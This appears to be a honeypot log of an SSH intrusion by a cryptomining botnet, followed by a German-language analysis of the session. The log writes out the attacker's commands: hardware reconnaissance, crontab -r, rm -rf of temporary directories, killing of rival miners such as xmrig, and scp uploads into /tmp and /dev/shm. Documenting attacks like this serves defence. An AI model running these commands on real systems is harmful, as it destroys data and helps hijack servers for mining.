19.10.2026, 05:03 UTC · 37 Befehle · über ssh · Niederlande · 10× wiederholt
user='vastbase' pass='111111' vastbase@srv01:~$ uname -m | awk '{printf $1}' x86_64 vastbase@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 vastbase@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) vastbase@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor vastbase@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. vastbase@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 vastbase@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 vastbase@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 vastbase@srv01:~$ uname -n | awk '{printf $1}' render03 vastbase@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic vastbase@srv01:~$ crontab -r vastbase@srv01:~$ rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* rm: cannot remove '/tmp/.ICE-unix': Permission denied rm: cannot remove '/tmp/.X11-unix': Permission denied rm: cannot remove '/tmp/.XIM-unix': Permission denied vastbase@srv01:~$ ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid bash: syntax error near unexpected token `do' vastbase@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' vastbase@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable vastbase@srv01:~$ done bash: syntax error near unexpected token `done' vastbase@srv01:~$ ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid bash: syntax error near unexpected token `do' vastbase@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' vastbase@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable vastbase@srv01:~$ done bash: syntax error near unexpected token `done' vastbase@srv01:~$ pidof cache | while read pid bash: pidof: command not found vastbase@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' vastbase@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable vastbase@srv01:~$ done bash: syntax error near unexpected token `done' vastbase@srv01:~$ for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done bash: syntax error near unexpected token `do' vastbase@srv01:~$ pkill -9 $proc 2>/dev/null vastbase@srv01:~$ done vastbase@srv01:~$ rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null vastbase@srv01:~$ echo 111111 > /tmp/d.log vastbase@srv01:~$ scp -qt "/var/tmp/cxywBEgn" vastbase@srv01:~$ scp -qt "/tmp/cxywBEgn" vastbase@srv01:~$ scp -qt "/dev/shm/cxywBEgn" vastbase@srv01:~$ uname -s -v -n -r -m Linux render03 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64 vastbase@srv01:~$ echo sedu > /tmp/d.log vastbase@srv01:~$ scp -qt "/var/tmp/cCxuLgbs" vastbase@srv01:~$ scp -qt "/tmp/cCxuLgbs" vastbase@srv01:~$ scp -qt "/dev/shm/cCxuLgbs"
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine automatisierte Skriptsequenz aus. Zunächst wurden Hardwareinformationen wie CPU, GPU und Systemlaufzeit abgefragt, um die Leistungsfähigkeit des Ziels zu bewerten. Anschließend wurden konkurrierende Mining-Prozesse und temporäre Dateien gelöscht, bevor der Angreifer versuchte, eigene Dateien auf den Server zu kopieren.
Kommandos wie uname und lspci sammeln technische Daten über die Architektur und die vorhandenen Grafikkarten, um die Eignung für Mining zu prüfen. Die Befehle crontab -r und rm -rf löschen geplante Aufgaben und temporäre Dateien, um Spuren zu verwischen und Speicherplatz freizugeben. Mit ps aux und kill -9 werden Prozesse identifiziert, die mehr als 40 Prozent CPU oder 60 Prozent RAM nutzen, sowie bekannte Miner wie xmrig oder cpuminer gezielt beendet. Der Befehl scp -qt versucht, Dateien vom Angreifer auf den Server zu übertragen, was typisch für das Hochladen der Mining-Software ist.
Das Vorgehen deutet stark auf die Installation eines Kryptominers hin, da gezielt nach NVIDIA-Grafikkarten gesucht und konkurrierende Miner-Prozesse entfernt wurden. Die Abfrage der Organisationszugehörigkeit dient vermutlich der Identifikation des Opfers oder der Vermeidung vonhoneypots. Da der Upload der Payload nicht vollständig dokumentiert ist, bleibt offen, ob es sich um einen finalen Erfolg oder einen abgebrochenen Versuch handelt.
Dieses Muster ist im Bereich der automatisierten Kryptomining-Botnetze sehr verbreitet und folgt einem standardisierten Skript. Die Kombination aus Hardware-Prüfung und Bereinigung konkurrierender Miner ist ein charakteristisches Merkmal solcher Angriffe.